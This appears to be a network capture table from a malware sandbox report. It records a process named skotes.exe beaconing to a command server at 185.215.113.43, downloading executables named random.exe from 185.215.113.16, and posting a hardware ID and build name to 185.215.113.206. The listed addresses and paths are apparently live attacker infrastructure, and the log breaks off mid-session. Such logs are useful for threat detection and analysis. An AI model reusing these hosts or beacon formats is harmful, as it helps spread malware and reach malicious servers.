Dec 16, 2024 15:04:00.219944000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50178	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:01.969924927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:03.332972050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50179	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:04.971631050 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:06.351141930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	50189	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:08.112453938 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:09.446944952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50191	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:11.093277931 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:12.464204073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50192	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:14.215025902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:15.557704926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	50193	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:17.204401016 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:18.560513973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50194	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:20.316132069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:21.648535967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50197	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:23.275938034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:24.630454063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50199	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:26.380923986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:27.761653900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50200	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:29.409193993 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:30.760113955 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 36 31 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 31 33 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 36 31 34 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 31 34 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1016138001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016139001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016140001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016141001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50201	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:30.887537003 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 16 Dec 2024 13:43:45 GMT If-None-Match: "67602e91-1cc200"
Dec 16, 2024 15:04:32.240063906 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:31 GMT Last-Modified: Mon, 16 Dec 2024 13:43:45 GMT Connection: keep-alive ETag: "67602e91-1cc200"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50203	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:34.558475971 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016138001&unit=246122658369
Dec 16, 2024 15:04:35.893583059 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50211	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:36.020195007 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 16 Dec 2024 13:43:52 GMT If-None-Match: "67602e98-1b6a00"
Dec 16, 2024 15:04:37.372760057 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:36 GMT Last-Modified: Mon, 16 Dec 2024 13:43:52 GMT Connection: keep-alive ETag: "67602e98-1b6a00"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	50214	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:38.528351068 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:04:39.867402077 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:04:39.871854067 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="build"stok------JKJECBAAAFHIIEBFCBKF--
Dec 16, 2024 15:04:40.319848061 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50216	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:39.679828882 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016139001&unit=246122658369
Dec 16, 2024 15:04:41.302072048 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50218	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:41.429833889 CET	138	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 16 Dec 2024 13:41:50 GMT If-None-Match: "67602e1e-ebc00"
Dec 16, 2024 15:04:42.787666082 CET	191	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:42 GMT Last-Modified: Mon, 16 Dec 2024 13:41:50 GMT Connection: keep-alive ETag: "67602e1e-ebc00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50222	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:45.133855104 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016140001&unit=246122658369
Dec 16, 2024 15:04:46.515120983 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50223	185.215.113.16	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:46.641143084 CET	138	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 16 Dec 2024 13:42:18 GMT If-None-Match: "67602e3a-2a5e00"
Dec 16, 2024 15:04:47.973167896 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:47 GMT Last-Modified: Mon, 16 Dec 2024 13:42:18 GMT Connection: keep-alive ETag: "67602e3a-2a5e00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50227	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:50.730437994 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016141001&unit=246122658369
Dec 16, 2024 15:04:52.084737062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	50230	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:53.589992046 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 15:04:54.922796011 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 15:04:54.925513983 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"stok------JJJDGIECFCAKKFHIIIJE--
Dec 16, 2024 15:04:55.365588903 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50231	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:53.837127924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 15:04:55.184200048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50234	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:04:56.818512917 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 16, 2024 15:04:58.176269054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:04:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	50235	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
